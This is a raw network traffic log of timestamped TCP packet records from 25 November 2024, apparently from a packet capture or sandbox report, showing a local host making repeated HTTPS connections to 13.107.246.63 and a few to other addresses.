Nov 25, 2024 18:28:40.849560022 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:40.850318909 CET	49769	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:40.850337029 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.084090948 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.093835115 CET	49770	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.093868017 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.094469070 CET	49770	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.094474077 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.178260088 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.178690910 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.178716898 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.179147005 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.179152012 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.209624052 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.210016012 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.210031033 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.210462093 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.210467100 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.340497971 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.340569019 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.340663910 CET	49769	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.340858936 CET	49769	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.340879917 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.340893030 CET	49769	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.340898037 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.343794107 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.343822956 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.343885899 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.344206095 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.344221115 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.529383898 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.529459000 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.529526949 CET	49770	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.530050039 CET	49770	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.530066013 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.530085087 CET	49770	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.530090094 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.533258915 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.533287048 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.533354044 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.533514023 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.533528090 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.545573950 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.546041965 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.546056986 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.546488047 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.546494961 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.624275923 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.624387026 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.624448061 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.624608994 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.624633074 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.624649048 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.624655008 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.627059937 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.627100945 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.627289057 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.627463102 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.627477884 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.668191910 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.668273926 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.668360949 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.669735909 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.669735909 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.669745922 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.669753075 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.672554970 CET	49777	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.672588110 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.672705889 CET	49777	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.672883987 CET	49777	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.672893047 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.985538006 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.985697985 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.985764980 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.985871077 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.985888958 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.985898018 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.985903025 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.988626957 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.988652945 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:41.988725901 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.988913059 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:41.988929033 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.116640091 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.156088114 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.156111956 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.156646013 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.156651974 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.404023886 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.404584885 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.404664040 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.405029058 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.405041933 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.463203907 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.463713884 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.463741064 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.464173079 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.464179993 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.505822897 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.506325960 CET	49777	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.506340981 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.506791115 CET	49777	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.506797075 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.559819937 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.559885979 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.559947968 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.560218096 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.560230970 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.560266972 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.560272932 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.563676119 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.563705921 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.563786983 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.563956976 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.563963890 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.804260969 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.805563927 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.805605888 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.806329966 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.806338072 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.863234997 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.863295078 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.863493919 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.863528967 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.863547087 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.863559008 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.863564014 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.866477013 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.866503954 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.866570950 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.866705894 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.866729021 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.916342020 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.916407108 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.916457891 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.916652918 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.916670084 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.916687965 CET	49776	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.916693926 CET	443	49776	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.919688940 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.919729948 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.919806957 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.919977903 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.919987917 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.956590891 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.956662893 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.956804991 CET	49777	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.956830025 CET	49777	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.956857920 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.956892014 CET	49777	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.956897020 CET	443	49777	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.959352016 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.959373951 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:43.959454060 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.959589005 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:43.959604025 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:44.251477957 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:44.251574993 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:44.251646996 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:44.251849890 CET	49778	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:44.251882076 CET	443	49778	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:44.254961014 CET	49790	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:44.254997969 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:44.255062103 CET	49790	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:44.255213976 CET	49790	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:44.255228043 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.359364033 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.359890938 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.359906912 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.360358000 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.360363007 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.673528910 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.694468975 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.694495916 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.694956064 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.694962978 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.704061985 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.704482079 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.704504967 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.705898046 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.705904007 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.752386093 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.759643078 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.759661913 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.760271072 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.760277987 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.805754900 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.805820942 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.806015015 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.885119915 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.885138035 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:45.885164976 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:45.885171890 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.009635925 CET	49794	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.009677887 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.009742975 CET	49794	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.012336969 CET	49794	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.012346983 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.108753920 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.109220028 CET	49790	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.109244108 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.109910011 CET	49790	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.109916925 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.120337009 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.120403051 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.120466948 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.120737076 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.120757103 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.120800972 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.120809078 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.127130985 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.127162933 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.127240896 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.127583981 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.127599001 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.149950027 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.150022030 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.150075912 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.150204897 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.150223970 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.150234938 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.150240898 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.157394886 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.157423973 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.157701969 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.159106970 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.159116983 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.203986883 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.204070091 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.204134941 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.205230951 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.205255985 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.205265999 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.205272913 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.208338022 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.208362103 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.208959103 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.209152937 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.209168911 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.566582918 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.566683054 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.567023993 CET	49790	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.567058086 CET	49790	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.567058086 CET	49790	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.567076921 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.567085981 CET	443	49790	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.570077896 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.570101023 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.570190907 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.570350885 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:46.570363045 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:46.682703972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:47.540555954 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:47.540601969 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:47.541147947 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:47.541517973 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:47.541532040 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:47.629941940 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:47.629977942 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:47.630312920 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:47.631104946 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:47.631123066 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:47.847457886 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:47.847506046 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:47.847903967 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:47.848304033 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:47.848773956 CET	49794	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:47.848790884 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:47.849231005 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:47.849232912 CET	49794	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:47.849239111 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:47.849253893 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:47.956373930 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:47.957359076 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:47.957393885 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:47.960244894 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:47.960254908 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:47.960647106 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:47.961381912 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:47.961381912 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:47.961409092 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:47.961419106 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.032041073 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.032540083 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.032562017 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.034126043 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.034132957 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.294148922 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.294222116 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.294272900 CET	49794	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.295732975 CET	49794	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.295748949 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.295758963 CET	49794	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.295763969 CET	443	49794	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.299813986 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.299865961 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.299932957 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.300298929 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.300312996 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.391165972 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.391766071 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.391786098 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.392263889 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.392268896 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.404817104 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.404886961 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.404983044 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.405119896 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.405126095 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.405143976 CET	49795	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.405148983 CET	443	49795	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.408263922 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.408298969 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.408375978 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.408509016 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.408523083 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.447455883 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.447544098 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.447601080 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.447767019 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.447779894 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.447789907 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.447794914 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.453655005 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.453676939 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.453752041 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.453911066 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.453921080 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.492254972 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.492332935 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.492418051 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.492731094 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.492742062 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.492768049 CET	49797	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.492774010 CET	443	49797	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.495632887 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.495659113 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.495723009 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.496000051 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.496012926 CET	443	49807	13.107.246.63	192.168.2.6
